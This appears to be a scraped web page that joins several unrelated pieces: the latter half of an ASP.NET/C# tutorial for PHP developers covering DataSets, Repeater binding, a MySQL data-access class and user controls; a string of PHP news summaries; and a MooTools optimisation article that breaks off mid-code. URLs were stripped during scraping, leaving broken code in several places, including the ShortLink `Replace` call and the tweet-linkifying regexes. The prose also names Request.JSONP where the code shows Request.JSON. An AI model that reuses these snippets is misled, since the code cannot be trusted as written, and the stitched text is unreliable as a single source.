The object you set up in the brackets is automatically destroyed when your code leaves the end curly brace "}". This is a really useful structure to know about, so read all about it here.
Secondly the DataSet. In the code above the results from the database query are fed into a DataSet, which is an object containing one or more tables, each table containing rows and columns. That means you can do useful things like:
DataSet ds = new DataSet(); // we put some data from the database in the DataSet here... // get the number of tables int tables = ds.Tables.Count; // get the first table DataTable dt = ds.Tables[0]; // get the number of rows in the first table int rows = ds.Tables[0].Rows.Count;
And there are many other goodies in the DataSet class. You can also loop rows, just like you do in PHP, like this:
for (int x = 0; x < ds.Tables[0].Rows.Count; x++)
{
Response.Write(ds.Tables[0].Rows[x]["fieldname"].ToString() + <br />);
}
But there’s a much better way to display simple loops, and that’s using the Repeater control.
Using repeaters and databindingFirst a confession. There are large ASP.NET applications I’ve written that use no ASP.NET controls except the Literal (which we looked at above) and the Repeater. The Repeater control allows you to "bind" data, for example from a DataSet, and display it in a looped manner. Firstly we need to add something to our database code above:
protected void Page_Load(object sender, EventArgs e)
{
// get the connection string
string conn = ConfigurationManager.ConnectionStrings["MySQL"].ConnectionString;
// create a new MySQL connection
MySqlConnection dbcon;
using (dbcon = new MySqlConnection(conn))
{
// open the connection
dbcon.Open();
// create the query
string query = "SELECT username, email FROM users";
// create a new adapter between the connection and query
MySqlDataAdapter adapter = new MySqlDataAdapter(query, dbcon);
// create a new dataset to store the query results
DataSet ds = new DataSet();
// fill the dataset with the results from the adapter,
// the name of the dataset is "result"
adapter.Fill(ds, "result");
// below is the new code...
// set the DataSource of the repeater
myRepeater.DataSource = ds;
// bind the data
myRepeater.DataBind();
}
}
And in the .aspx page we put:
<asp:Repeater id="myRepeater" runat="server">
<HeaderTemplate>
<table>
<tr>
<th>Username</th>
<th>Email</th>
</tr>
</HeaderTemplate>
<ItemTemplate>
<tr>
<td><%# Eval("username") %></td>
<td><%# Eval("email") %></td>
</tr>
</ItemTemplate>
<AlternatingItemTemplate>
<tr class="alt">
<td><%# Eval("username") %></td>
<td><%# Eval("email") %></td>
</tr>
</AlternatingItemTemplate>
<FooterTemplate>
</table>
</FooterTemplate>
</asp:Repeater>
You can see what happens here. When the data is bound to the Repeater control the HeaderTemplate section is displayed. Then each row is displayed in the ItemTemplate and AlternatingItemTemplate sections (the names should give you a clue how they are displayed). Then finally the FooterTemplate section is displayed. Using this simple control gives you an easy way to display repeating data, with complete control over the resulting HTML – just like you would do in PHP. Here’s the results (with some CSS for styling):
As a Repeater will throw an Exception if an empty DataSet is bound to it, you need to check there is data to be bound first. A simple if statement will work, checking if there are tables in the DataSet and if the first table has rows:
if (ds.Tables.Count > 0 && ds.Tables[0].Rows.Count > 0)
{
myRepeater.DataSource = ds;
myRepeater.DataBind();
}
I think you’ll agree that having a control which sets templating for repeating data as easily as that is a massive help to the developer. One thing to note with the Repeater control – if you bind a DataSet to it by default the first table is used. If you’re using stored procedures instead of inline SQL to run commands against your database you can return multiple tables, meaning you can load several sets of data for use in a page at once. In that case you’d use code like this (to bind the second table in the DataSet to the Repeater):
myRepeater.DataSource = ds.Tables[1]; myRepeater.DataBind();Creating a data access class
Let’s pull the last couple of sections together and create a data access class that will simplify connecting to and running commands on your database. This code is for MySQL, but as you’ve seen the code for SQL Server is very similar. Create a new empty class called "DB" and paste this into the new file:
using System;
using System.Configuration;
using System.Data;
using MySql.Data.MySqlClient;
namespace WebApplication1
{
public class DB
{
private string ConnectionString;
public DB()
{
// get the connection string
this.ConnectionString = ConfigurationManager.ConnectionStrings["MySQL"].ConnectionString;
}
public DataSet Select(string query)
{
MySqlConnection dbcon;
using (dbcon = new MySqlConnection(this.ConnectionString))
{
// open the connection
dbcon.Open();
// create a new adapter between the connection and query
MySqlDataAdapter adapter = new MySqlDataAdapter(query, dbcon);
// create a new dataset to store the query results
DataSet ds = new DataSet();
// fill the dataset with the results from the adapter,
adapter.Fill(ds, "result");
// return the dataset
return ds;
}
}
public bool Execute(string query)
{
MySqlConnection dbcon;
using (dbcon = new MySqlConnection(this.ConnectionString))
{
// create a new SQL command on thie connection
MySqlCommand command = new MySqlCommand(query, dbcon);
// open the connection
dbcon.Open();
// execute the query and return the number of affected rows
int affectedrows = command.ExecuteNonQuery();
// there were no rows affected - the command failed
if (affectedrows == 0)
{
return false;
// the command affected at least one row
} else {
return true;
}
}
}
}
}
To use this in your code-behind file you’d put:
DB db = new DB();
DataSet ds = db.Select("SELECT username, email FROM users");
if (ds.Tables.Count > 0 && ds.Tables[0].Rows.Count > 0)
{
myRepeater.DataSource = ds;
myRepeater.DataBind();
}
This data access class introduces you to a new style of database connection syntax using the MySqlCommand class (SqlCommand for SQL Server) and the ExecuteNonQuery method. As the code says, the ExecuteNonQuery method executes a query and returns the number of affected rows. Very useful for INSERT, UPDATE and DELETE commands.
Those of you with a good knowledge of Wordpress will see how this class is similar to the $wpdb global class in WP which offers methods like $wpdb->get_results("select * from table"); and $wpdb->query("delete * from table");. It would be easy for you to extend this data access class to have more useful properties and methods for your applications.
So far we’ve used just two ASP.NET controls – Literal and Repeater – in honour of our aim to keep full control of the output HTML. But sometimes it’s useful to encapsulate functionality for your own controls. ASP.NET allows you to create user controls with properties and methods all your own. These user controls can be thought of as discrete blocks of HTML that can be used inside a .aspx page, just like you’d include a separate file in a .php file.
We’re going to create a very simple control that displays a truncated link. Firstly add a new file of type "User control with code-behind file" and call it "ShortLink".
You may notice the new file has an extension of .ascx, this is the extension for user controls. Open the .ascx file and you’ll see this:
<%@ Control Language="C#" Inherits="WebApplication1.ShortLink" %>
Open the code-behind file (MyControl.ascx.cs) and you’ll see this:
using System;
using System.Web;
using System.Web.UI;
namespace WebApplication1
{
public partial class MyControl : System.Web.UI.UserControl
{
}
}
Now we’re ready to create our user control. Paste this code into the .ascx.cs (code-behind) file (I won’t explain this code, it’s simple enough):
using System;
using System.Web;
using System.Web.UI;
namespace WebApplication1
{
public partial class ShortLink : System.Web.UI.UserControl
{
public string Link;
protected void Page_Load(object sender, EventArgs e)
{
// set the href attribute
theLink.Attributes["href"] = Link;
// declare the short link, replacing protocols
string shortlink = Link.Replace(" [",] "").Replace(" [https:] "");
// if the link is longer than 15 characters
if (shortlink.Length > 15)
{
// show the first 6 and last 6 characters
theLink.InnerHtml = shortlink.Substring(0, 6) + "..." + shortlink.Substring(shortlink.Length-6);
}
else
{
// show the full link
theLink.InnerHtml = shortlink;
}
}
}
}
Yes, user controls use the same Page_Load event handler that normal .aspx pages use. Now open the .ascx file and paste this into it:
<%@ Control Language="C#" Inherits="WebApplication1.ShortLink" %> <a href="" id="theLink" runat="server"></a>
Here you can see instead of a Page declaration we have a Control declaration, but the same Inherits property to bind it to the code-behind file. We also have a standard <a> element with the runat="server" property to make it a server-side control.
To use this control in your page simply register a tag prefix (this can be anything) at the top of the page like this:
<%@ Page Language="C#" MasterPageFile="~/Master_Pages/DefaultMaster.master" Inherits="WebApplication1.Default" %> <%@ Register TagPrefix="My" TagName="ShortLink" Src="ShortLink.ascx" %>
Then use the control wherever you want to. To demonstrate this control I’m using two instances of it:
<p><My:ShortLink id="Link1" Link=" [www.google.com"] Runat="server"></My:ShortLink></p> <p><My:ShortLink id="Link2" Link=" [www.google.com] Runat="server"></My:ShortLink></p>
The TagPrefix property is the first part of the control tag and the TagName the second part, separated by ":" – My:ShortLink. And this is the result:
Here you can see that the public string property I declared in my ShortCode user control class (public string Link;) can be set in a Link property of the control. You can have any number of properties and they can be of any type. You can only set string types in the control tag itself (i.e Link=" [www.google.com"] ), as you can set the properties programatically from your code-behind file (like Link1.DatasetProperty = new DataSet();).
There’s one bit of code here which needs a little more explanation.
Using a custom tag prefixYour user controls need to have their own tag prefix. In our example above this is "My", but of course it can be any simple string. In the example above the tag prefix was registered, so ASP.NET knew what to do when it encountered it, using a declaration at the top of the page:
<%@ Register TagPrefix="My" TagName="ShortLink" Src="ShortLink.ascx" %>
However it’s possible to register your tag prefixes in your web.config file, so you don’t have to do it on every page (as explained by Scott Guthrie – that’s one blog you’ll want to follow). Here’s how, but before you rush in watch out for the error I got:
Parser Error Message: The page '/Default.aspx' cannot use the user control '/ShortLink.ascx', because it is registered in web.config and lives in the same directory as the page.
So put your user controls in a subfolder, for example "Controls".
<?xml version="1.0"?>
<configuration>
<system.web>
<pages>
<controls>
<add tagPrefix="My" src="~/Controls/ShortLink.ascx" tagName="ShortLink"/>
</controls>
</pages>
</system.web>
</configuration>
You’ll now want to put user controls everywhere. And the best thing about user controls is, because they are just like pages (without <html>, <head> and <body> tags) you can put anything you like in them. In fact it would be possible to write an entire application in user controls, including the relevent controls in your page depending on some parameters passed to it. Amazing.
Compiling and DeployingAs mentioned in part 1 of the tutorial, C# is a compiled language. Rather than PHP, which is compiled into language the computer can understand at runtime, C# is pre-compiled (or sometimes compiled on first run) and saved in assemblies for the computer to process.
This means that C# is faster (yes, it’s true, sorry), and that you can catch a lot of errors in your code *before* you try to run it. You’ve already seen that happening when we discussed errors above. However, it means you can’t just drop your ASP.NET application on a server and expect it to run. It also means you can’t do live hacking of your code-behind files in a running application. Deployment needs to be approached a little more methodically than in PHP.
There are several other articles which do a much better job at explaining this than I would so I’ll just link to them.
Next StepsHopefully between part 1 and this tutorial, you now have a much better idea of what ASP.NET is, and the advantages it can provide for developers. For further reading, you can check out some of my favourite places:
Finally, good luck! It’s been a hard climb for me, as a PHP guy for many years, to get to grips with ASP.NET. However I’ve found many good things in the framework, and have come to appreciate the power of the C# language – without losing my love for PHP. I hope that you can do the same.

Maarten Balliauw has an invitation from Microsoft to all of the PHP developers out there - come be a part of Jump In!, a European developer's camp aimed at bringing the two worlds - PHP and Microsoft - closer together.
The Jump In! Developers' Camp is designed primarily for open-source application developers who are interested in increasing their skills in a range of specific areas. Here they will be able to experiment with ways of combining open-source technologies with Microsoft products to optimize applications.
Experts will be on hand to provide advice on building applications on Microsoft platforms (like Azure, IIS and Silverlight). The developers who create the most "buzz" around their applications will be selected to spend four days at the Panorama Resort & Spa Feusisberg in Switzerland April 6th through the 9th or 10th. The contest is only open to Europeans so if that's you and the idea of it all sounds interesting, head over to the Jump In! site and sign up now!

Giorgio Sironi has a recommendation for developers out there - stop writing foreach loops, there's something better in PHP 5.3+ - closures
There are some array functions which have already been supported at least from Php 4, and that take as an argument a callback whose formal parameters have to be one or two elements of the array. [...] In Php 5.3, callbacks may also be specified as anonymous functions, defined in the middle of other code. These closures are first class citizens, and are treated as you would treat a variable, by passing it around as a method parameter.
He includes some code examples to show you how closures used in callbacks can replace a lot of the other looping normally done by a separate bit of code. Most of the instances are in array functions that take in a callback and apply it to each element in the array (some recursively). The last example shows how to use it in a usort call to make the custom sorting of an array simpler.

On Internet.com there's a new video tutorial showing you how to work with the Google Maps API and PHP to create a Google map with multiple points plotted from the coordinate data held in a MySQL database. The example doesn't use any sort of framework to get the job done - just straight PHP.
The Google Maps API makes it trivially easy for anybody to create a custom Web-based map, complete with features such as event handlers, route directions, and sophisticated overlays. However, the genesis of many such features stems from your ability to easily add map markers and store the corresponding coordinates within a database such as MySQL.
Unfortunately, there's no link to the sample code, so you'll just have to follow along on-screen. He does make it easy to tie the three technologies together - PHP, MySQL and jQuery - and make a simple multi-point map system. It's flexible too and can be easily extended to include more information in each of the map points (like a name for the location).

The ZendCasts.com site has recently posted a quick video covering logging and Doctrine event listeners in a Zend Framework application.
This short video is going to be the last in my 2009-2010 series on Doctrine 1.2. I'm wrapping it up with a little example of adding timestamps, logging and using Doctrine's event listener architecture.
The tutorial shows you how to pull in the features of Doctrine to make it easier to create a more complex logging system. He shows how to set up the schema file, add in controller functionality and backend models to make things all work together happily. You can get a copy of the project he's building from his subversion repository.
Here's what was popular in the PHP community one year ago today:
A recent El Reg article about trends in the PHP community caught my eye yesterday morning. The headline is about Zend’s depressing statistic that the majority of PHP developers do their development on Windows these days (which I’m assured by Marco is old news) … and that’s worth talking about at some point, but it isn’t what interested me the most.
As reported by El Reg, Zend’s survey results show that “seventy per cent use Zend’s Studio or Eclipse PHP Developer Tools, while 18 per cent use Vim.”
This isn’t a case of Zend making wild claims though, just less than full reporting by El Reg this time around. Zend’s own press release make it crystal clear that these are the results of a survey conducted across the Zend Framework developer community; most likely (but not directly attributed) the 2009 survey. That they haven’t released the breakdown for Zend Studio vs Eclipse PDT is perhaps telling, but still, the real headline should be:
In its own community, Zend is being very successful at convincing its community members to use multiple Zend products.
Zend’s “full-stack” strategy is starting to yield results, and it looks like Zend Framework might have been the missing component that held back their earlier attempts. The whole stack has been refreshed, true (Zend Studio now runs on Eclipse, Zend Core has folded into Zend Platform, which itself has the new and far-better-architected Zend Server positioned below it), but with Zend Framework, Zend are (imho) now able to appeal to the sort of developer communities who are willing to pay Zend’s prices. And Zend Framework is finally a product that third parties can make money from, making Zend a little more relevant in the daily lives of your average PHP developer. (I’m a great believer that a key component of all really successful products is that third parties can make money off it, not just the original creator / provider).
Now, if only Zend had an outreach programme for making Zend Server suited both technically and commercially for ISPs like where I work to consider adopting for their shared hosting and VPS customers …

Lorna Mitchell, heading up this year's Dutch PHP Conference, has released the official schedule for the event happening June 10th through the 12th.
The wait is over! The Dutch PHP Conference schedule is now available. [We've even gotten] someone complaining that the schedule is too good and he can't see everything he wants to!
Topics range from writing extensions and designing for reusable code to technical debt and stress-free deployment
You can find out more about the conference on its site and you can save your space by registering here. You can get a full three day ticket for 500 Euro, a "tutorials only" pass for 300 Euro and a "conference only" pass for 200 Euro.
So you can work with PHP, and have a basic understanding of jQuery, but you haven’t yet figured out how to combine the two into your projects? If so, we’ve got you covered today! In this Plus tutorial, you’ll learn how to take advantage of PHP’s MySQL improved and prepared statements to query a database, how to request that returned data with jQuery, and then how to filter through the returned items and display them on the page, adding a touch of animations. If this sounds interesting, give back to Nettuts+, and become a Plus member to watch this helpful video tutorial!
In this screencast, you’ll learn how to:
For those unfamiliar, the family of TUTS sites runs a premium membership service called “TUTSPLUS”. For $9 per month, you gain access to exclusive premium tutorials, screencasts, and freebies from Nettuts+, Psdtuts+, Aetuts+, Audiotuts+, and Vectortuts+! For the price of a pizza, you’ll learn from some of the best minds in the business. Join today!

According to Matt Asay, both PHP and Perl are crashing the enterprise party and are rapidly closing the gap between themselves and some of the more traditional "enterprise-ish" tools out there (like Java or .NET).
While dynamic programming languages like PHP and Python dominate Web engineering, the signs that they are breaking Java and .Net's hold on the enterprise are less clear. Forrester recently reported that PHP claims the highest instance of open source use within enterprises, at 57 percent penetration. But it's also the case that the bulk of enterprise software spending goes to Java and .Net-based software. Who is winning?
He links to a graph from Indeed showing the trends in the job market with PHP and Python (two dynamic languages) shooting their way to the top.
No, Java and .Net aren't going away anytime soon. But then, neither are the dynamic programming languages, which are increasingly blessed "enterprise ready." This is good for enterprise software, and potentially very good for ActiveState, SugarCRM, and others who build their businesses on dynamic programming languages.

Rakshit Patel has posted a tip to the Programming Facts blog that those out there wanting to upload larger files through your application - change your settings via one of three ways to tell PHP it's okay.
I have seen many developers who find difficulties when working with larger files upload in php. When files which are too large in size [...] If you are uploading file which is larger than 2MB size than here i am showing you the way to upload larger files using PHP.
The method's pretty much the same in each of the three methods. You can either have the settings in your [httpd.conf] (if you have access to it), in the php.ini or in a .htaccess file in the directory your PHP script is in.

In a previous article posted to the Okada Design Blog, they showed you how to create a calendar using jQuery, CodeIgniter and the BackendPro toolset. They're back with a new article today showing how you can do the same thing without BackendPro.
I have some requests for a Event Calendar without BackendPro. Since it is not using BeP, I only used CRUD without individual calendar. So there won't be any mycal function. I took out all of the Bep thingy and made it simpler (I hope).
If you want the full tutorial on how the CodeIgniter part is set up, check out their previous article. If you're just looking for the new sans-BackendPro code, you can download it here.
MooTools is one of the most flexible, modular, and well written JavaScript frameworks available. So many people use it but many of them don’t optimize their code. This post will provide you with fifteen simple tips for making your MooTools code shorter, faster, and stronger.
1. Create Your Own MooTools Build or Pull From Google AJAX Libraries
One of the great advantages to using MooTools is that it’s incredibly modular. What does that mean?
Almost nothing is required unless you need it. The advantage of MooTools’ modularity is that your
limited, custom MooTools build can keep your JavaScript load time short.

Want to create a custom MooTools build for your next project? Follow these steps:
That’s it! Sometimes, however, your project requires the entire MooTools Core library. In that case, your website can save itself thousands
of requests per day by using the Google AJAX Libraries complete build of MooTools. You may do this two ways:
<script type="text/javascript" src=" [ajax.googleapis.com]
This first method simply includes MooTools into the page per normal. The second method allows more functionality and performance:
<script src=" [www.google.com] <script type="text/javascript"> google.load("mootools", "1.2.4"); //older versions also available </script>
What’s great about using the Google AJAX Libraries API is that if another website uses the AJAX Library API, that version of MooTools is already cached
within their browser and the site will load faster!
While it’s best to stick to one library in a given page to avoid a bunch of overhead, sometimes you can’t avoid needing multiple frameworks.
Luckily MooTools can coexist with any non-prototype-based JavaScript frameworks. Here’s how you can use jQuery and MooTools in the same page:
<!-- jquery gets the "$" method -->
<script type="text/javascript" src="jquery-1.4.js" />
<!-- mootools doesn't steal the "$" method; instead, document.id will be used -->
<script type="text/javascript" src="mootools.js" />
<!-- lets use them -->
<script type="text/javascript">
//with jquery, grab all links, make then red
$('a').css('color','red');
//with mootools, get the content div, set it's background color to pink
document.id('content').setStyle('background','pink');
//with mootools, get the content div, set it's background color to pink
//this time, we'll give mootools the "$" method
(function($) {
$('content').setStyle('background','pink');
})(document.id);
</script>
Thanks to MooTools’ Dollar Safe Mode, MooTools no longer assumes the “$” method if it’s already taken!
3. Save Elements and Element CollectionsDevelopers often need to collect one element or a collection of elements. For example, you may need to grab all A elements within the page, change their color, and create tooltips from them.
//grab links, change color */
$$('#footer a').setStyle('color','#f00');
//make links tooltips
var tippers = new Tips($$('#footer a'));
The code above is grossly inefficient. Why query the DOM twice (with $$) if you can collect all of the elements once? Let’s make this more efficient:
//"save" links into a variable
var links = $$('#footer a');
//grab links, change color */
links.setStyle('color','#f00');
//make links tooltips
var tippers = new Tips(links);
You could make this even shorter, but it’s not as readable:
var tippers = new Tips($$('#footer a').setStyle('color','#f00'));
Readability is important, so I wouldn’t recommend coding this way if you work with a team.
4. Use Element Methods on Element CollectionsCycling through an array of elements is not unique to any JavaScript framework:
//for every link...
$$('a').each(function(a) {
//add link nudging to the element
a.addEvents({
mouseenter: function() { //animate to the right
if(!a.retrieve('oPad')) { a.store('oPad',a.getStyle('padding-left')); }
a.tween('padding-left',30);
},
mouseleave: function() { //animate back to the left
a.tween('padding-left',a.retrieve('oPad'));
}
});
});
What many developers aren’t aware that Element collections have the same methods as Elements,
so there’s no need to cycle through them — simply apply the desired functionality to the collection:
$$('a').addEvents({
mouseenter: function() { //animate to the right
if(!this.retrieve('oPad')) { this.store('oPad',this.getStyle('padding-left')); }
this.tween('padding-left',30);
},
mouseleave: function() { //animate back to the left
this.tween('padding-left',this.retrieve('oPad'));
}
});
Note that the “this” keyword is used to reference the “current” element within the collection, not the collection itself.
5. Use MooTools AliasMooTools’ “alias” method allows you to rename or alias an existing method. Take the following snippet of code which is currently in the MooTools Core source:
Array.alias('forEach', 'each');
The above code lets you call the “each” method instead of “forEach”. Using “each” is more readable, a quiet standard between most JavaScript frameworks, and
it even saves you a few bytes in your code. If you prefer to give MooTools’ Native or Class methods a custom name, feel free to!
For example, the Element Class’ method for removing an Element form the DOM is:
$('myElement').dispose();
Suppose your web app is about a given topic and you’d like to stay within that terminology for your code. Here are a few examples:
Element.alias('dispose','can'); //career site?
Element.alias('dispose','shank'); //prison site?
Whatever your reasons are for calling a method by a different name, just don’t be afraid to do so!
6. Create Custom Pseudo SelectorsAccessing a collection of Elements in the DOM is a core responsibility of any JavaScript framework. Unfortunately it can also be taxing and
the pseudo selectors you want aren’t always available. Luckily MooTools allows you to easily implement your own pseudo selectors! Let’s
create a pseudo selector named “disabled” that returns an element if it’s disabled.
//grab disabled elements
Selectors.Pseudo.disabled = function() {
return this.disabled;
}
//how you use it
var disabledInputs = $$('input:disabled');
Simply add your selector to the Selectors.Pseudo object. If the new pseudo’s function returns “true”, the element is a match and will be returned.
Defining you own pseudo selectors is a great way to take control of your selectors!
7. Implement Methods on Existing Objects
MooTools’ philosophy is that it’s acceptable, even encouraged, to modify Native (String, Function, Number, etc.) prototypes when needed.
Implementing new methods on these Natives will empower them even more. Let’s create a String method that will turn any string of text into
“tweet” format (add links for @reply’s, links, etc.):
String.implement({
toTweet: function() {
return this.replace(/ [https?:\] href="$1">$1</a>').replace(/(^|\s)@(\w+)/g,'$1<a href=" [twitter.com] 2">@$2</a>').replace(/(^|\s)#(\w+)/g,'$1<a href=" [search.twitter.com] 2">#$2</a>');
}
});
Now you can call “toTweet” on any string and you’ll get the string back as a “tweet”. Here are a few examples:
//set an element's html to a tweet value
var el = $('myElement');
el.set('html',el.get('html').toTweet()); //sets the element's html to a linked, tweet value.
//alert the tweeted value
alert('Yo @NetTuts, check out my #MooTools website: [davidwalsh.name'.toTweet());] //alerts: Yo <a href=" [twitter.com] check out my <a href=" [search.twitter.com] website: <a href=" [davidwalsh.name">http:]
Implementing custom methods on Objects strengthens every existing and future instance of that object.
8. Extend Existing Classes
MooTools’ OOP philosophy allows for a super-powerful inheritance model. Extending existing classes
allows you to avoid repeating code, empower existing objects, and leverage existing functionality.
MooTools Core, More, and your custom classes extend existing functionality. Consider the Request class:
var Request = new Class({
Implements: [Chain, Events, Options],
options: {/*
onRequest: $empty,
onComplete: $empty,
onCancel: $empty,
onSuccess: $empty,
onFailure: $empty,
onException: $empty,*/
url: '',
data: '',
headers: {
'X-Requested-With': 'XM [HttpRequest',] 'Accept': 'text/javascript, text/html, application/xml, text/xml, */*'
},
async: true,
format: false,
method: 'post',
link: 'ignore',
isSuccess: null,
emulation: true,
urlEncoded: true,
encoding: 'utf-8',
evalScripts: false,
evalResponse: false,
noCache: false
},
initialize: function(options){
this.xhr = new Browser.Request();
this.setOptions(options);
this.options.isSuccess = this.options.isSuccess || this.isSuccess;
this.headers = new Hash(this.options.headers);
},
onStateChange: function(){
if (this.xhr.readyState != 4 || !this.running) return;
this.running = false;
this.status = 0;
$try(function(){
this.status = this.xhr.status;
}.bind(this));
this.xhr.onreadystatechange = $empty;
if (this.options.isSuccess.call(this, this.status)){
this.response = {text: this.xhr.responseText, xml: this.xhr.responseXML};
this.success(this.response.text, this.response.xml);
} else {
this.response = {text: null, xml: null};
this.failure();
}
},
isSuccess: function(){
return ((this.status >= 200) && (this.status < 300));
},
processScripts: function(text){
if (this.options.evalResponse || (/(ecma|java)script/).test(this.getHeader('Content-type'))) return $exec(text);
return text.stripScripts(this.options.evalScripts);
},
success: function(text, xml){
this.onSuccess(this.processScripts(text), xml);
},
onSuccess: function(){
this.fireEvent('complete', arguments).fireEvent('success', arguments).callChain();
},
failure: function(){
this.onFailure();
},
onFailure: function(){
this.fireEvent('complete').fireEvent('failure', this.xhr);
},
setHeader: function(name, value){
this.headers.set(name, value);
return this;
},
getHeader: function(name){
return $try(function(){
return this.xhr.getResponseHeader(name);
}.bind(this));
},
check: function(){
if (!this.running) return true;
switch (this.options.link){
case 'cancel': this.cancel(); return true;
case 'chain': this.chain(this.caller.bind(this, arguments)); return false;
}
return false;
},
send: function(options){
if (!this.check(options)) return this;
this.running = true;
var type = $type(options);
if (type == 'string' || type == 'element') options = {data: options};
var old = this.options;
options = $extend({data: old.data, url: old.url, method: old.method}, options);
var data = options.data, url = String(options.url), method = options.method.toLowerCase();
switch ($type(data)){
case 'element': data = document.id(data).toQueryString(); break;
case 'object': case 'hash': data = Hash.toQueryString(data);
}
if (this.options.format){
var format = 'format=' + this.options.format;
data = (data) ? format + '&' + data : format;
}
if (this.options.emulation && !['get', 'post'].contains(method)){
var _method = '_method=' + method;
data = (data) ? _method + '&' + data : _method;
method = 'post';
}
if (this.options.urlEncoded && method == 'post'){
var encoding = (this.options.encoding) ? '; charset=' + this.options.encoding : '';
this.headers.set('Content-type', 'application/x-www-form-urlencoded' + encoding);
}
if (this.options.noCache){
var noCache = 'noCache=' + new Date().getTime();
data = (data) ? noCache + '&' + data : noCache;
}
var trimPosition = url.lastIndexOf('/');
if (trimPosition > -1 && (trimPosition = url.indexOf('#')) > -1) url = url.substr(0, trimPosition);
if (data && method == 'get'){
url = url + (url.contains('?') ? '&' : '?') + data;
data = null;
}
this.xhr.open(method.toUpperCase(), url, this.options.async);
this.xhr.onreadystatechange = this.onStateChange.bind(this);
this.headers.each(function(value, key){
try {
this.xhr.setRequestHeader(key, value);
} catch (e){
this.fireEvent('exception', [key, value]);
}
}, this);
this.fireEvent('request');
this.xhr.send(data);
if (!this.options.async) this.onStateChange();
return this;
},
cancel: function(){
if (!this.running) return this;
this.running = false;
this.xhr.abort();
this.xhr.onreadystatechange = $empty;
this.xhr = new Browser.Request();
this.fireEvent('cancel');
return this;
}
});
Then consider Request.JSONP, which extends Request:
Request.JSON = new Class({
Extends: Request,
options: {
secure: true
},
initialize: function(options){
this.parent(options);
this.headers.extend({'Accept': 'application/json', 'X-Request': 'JSON'});
},
success: function(text){
this.response.json = JSON.decode(text, this.options.secure);
this.onSuccess(this.response.json, text);
}
});
You see how small the Request.JSONP class is? By adding “Extends: Request”, the Request.JSONP class gets all
of the Request Class’ methods. Essentially, this small snippet of code becomes a powerhouse because it extends
Request. You can even add extensions to extensions. Now consider Request.JSONP and then Scott Kyle’s Request.Twitter
class:
//Request.JSONP
/*
---
script: Request.JSONP.js
description: Defines Request.JSONP, a class for cross domain JavaScript via script injection.
license: MIT-style license
authors:
- Aaron Newton
- Guillermo Rauch
requires:
- core:1.2.4/Element
- core:1.2.4/Request
- /Log
provides: [Request.JSONP]
...
*/
Request.JSONP = new Class({
Implements: [Chain, Events, Options, Log],
options: {/*
onRetry: $empty(intRetries),
onRequest: $empty(scriptElement),
onComplete: $empty(data),
onSuccess: $empty(data),
onCancel: $empty(),
log: false,
*/
url: '',
data: {},
retries: 0,
timeout: 0,
link: 'ignore',
callbackKey: 'callback',
injectScript: document.head
},
initialize: function(options){
this.setOptions(options);
if (this.options.log) this.enableLog();
this.running = false;
this.requests = 0;
this.triesRemaining = [];
},
check: function(){
if (!this.running) return true;
switch (this.options.link){
case 'cancel': this.cancel(); return true;
case 'chain': this.chain(this.caller.bind(this, arguments)); return false;
}
return false;
},
send: function(options){
if (!$chk(arguments[1]) && !this.check(options)) return this;
var type = $type(options),
old = this.options,
index = $chk(arguments[1]) ? arguments[1] : this.requests++;
if (type == 'string' || type == 'element') options = {data: options};
options = $extend({data: old.data, url: old.url}, options);
if (!$chk(this.triesRemaining[index])) this.triesRemaining[index] = this.options.retries;
var remaining = this.triesRemaining[index];
(function(){
var script = this.getScript(options);
this.log('JSONP retrieving script with url: ' + script.get('src'));
this.fireEvent('request', script);
this.running = true;
(function(){
if (remaining){
this.triesRemaining[index] = remaining - 1;
if (script){
script.destroy();
this.send(options, index).fireEvent('retry', this.triesRemaining[index]);
}
} else if(script && this.options.timeout){
script.destroy();
this.cancel().fireEvent('failure');
}
}).delay(this.options.timeout, this);
}).delay(Browser.Engine.trident ? 50 : 0, this);
return this;
},
cancel: function(){
if (!this.running) return this;
this.running = false;
this.fireEvent('cancel');
return this;
},
getScript: function(options){
var index = Request.JSONP.counter,
data;
Request.JSONP.counter++;
switch ($type(options.data)){
case 'element': data = document.id(options.data).toQueryString(); break;
case 'object': case 'hash': data = Hash.toQueryString(options.data);
}
var src = options.url +
(options.url.test('\\?') ? '&' :'?') +
(options.callbackKey || this.options.callbackKey) +
'=Request.JSONP.request_map.request_'+ index +
(data ? '&' + data : '');
if (src.length > 2083) this.log('JSONP '+ src +' will fail in Internet Explorer, which enforces a 2083 bytes length limit on URIs');
var script = new Element('script', {type: 'text/javascript', src: src});
Request.JSONP.request_map['request_' + index] = function(){ this.success(arguments, script); }.bind(this);
return script.inject(this.options.injectScript);
},
success: function(args, script){
if (script) script.destroy();
this.running = false;
this.log('JSONP successfully retrieved: ', args);
this.fireEvent('complete', args).fireEvent('success', args).callChain();
}
});
Request.JSONP.counter = 0;
Request.JSONP.request_map = {};
…and now Request.Twitter:
Request.Twitter = new Class({
Extends: Request.JSONP,
options: {
linkify: true,
url: 'http://twitter.com/statuses/user_timeline/{term}.json',
data: {
count: 5
}
},
initialize: function(term, options){
this.parent(options);
this.options.url = this.options.url.substitute({term: term});
},
success: function(data, script){
if (this.options.linkify) data.each(function(tweet){
tweet.text = this.linkify(tweet.text);
}, this);
// keep subsequent calls newer
if (data[0]) this.options.data.since_id = data[0].id;
this.parent(data, script);
},
linkify: function(text){
// modified from TwitterGitter by David Walsh (davidwalsh.name)
// courtesy of Jeremy Parrish (rrish.org)
return text.replace(/ [https?:\] '<a href="$1">$1</a>')
.replace(/(^|\W)@(\w+)/g, '$1<a href=" [twitter.com] 2">@$2</a>')
.replace(/(^|\W)#(\w+)/g, '$1#<a href=" [search.twitter.com] 2">$2</a>');
}
});
You see how a waterfall effect of extending objects can make the smallest of classes an absolute beast of a class?
Experiment with MooTools’ inheritance model and don’t repeat code!
I’ve already explained how flexible the MooTools selector engine is, the class system is, and how modular the framework is.
Why would you expect anything different from MooTools’ event system? Creating custom events within MooTools is as simple
as it gets. Here’s a basic outline of your MooTools custom event:
Element.Events.altClick = {
base: 'click', //the "base" event
condition: function(event) {
return event.alt; // alt key?
},
onAdd: function() {
//do something when the event is added
},
onRemove: function() {
//do something when the event is removed
}
};
Here’s a great example of a custom event — listening for “alt” and “click” at the same time:
//alt click
Element.Events.altClick = {
base: 'click',
condition: function(event) {
return event.alt; // alt key?
}
};
//usage
$(document.body).addEvent('altClick',function() {
alert('You alt-clicked me!');
});
Or you can simply define a custom event so that a specific function executes any time that type of event is assigned.
In my next example, any time a click event is assigned to an element, that element’s cursor will be automatically changed
to the “pointer” cursor.
/* update cursor on add/remove click event */
Element.Events.click = {
base:'click',
onAdd: function() {
if(this.setStyle) {
this.store('original-cursor',this.getStyle('cursor'));
this.setStyle('cursor','pointer');
}
},
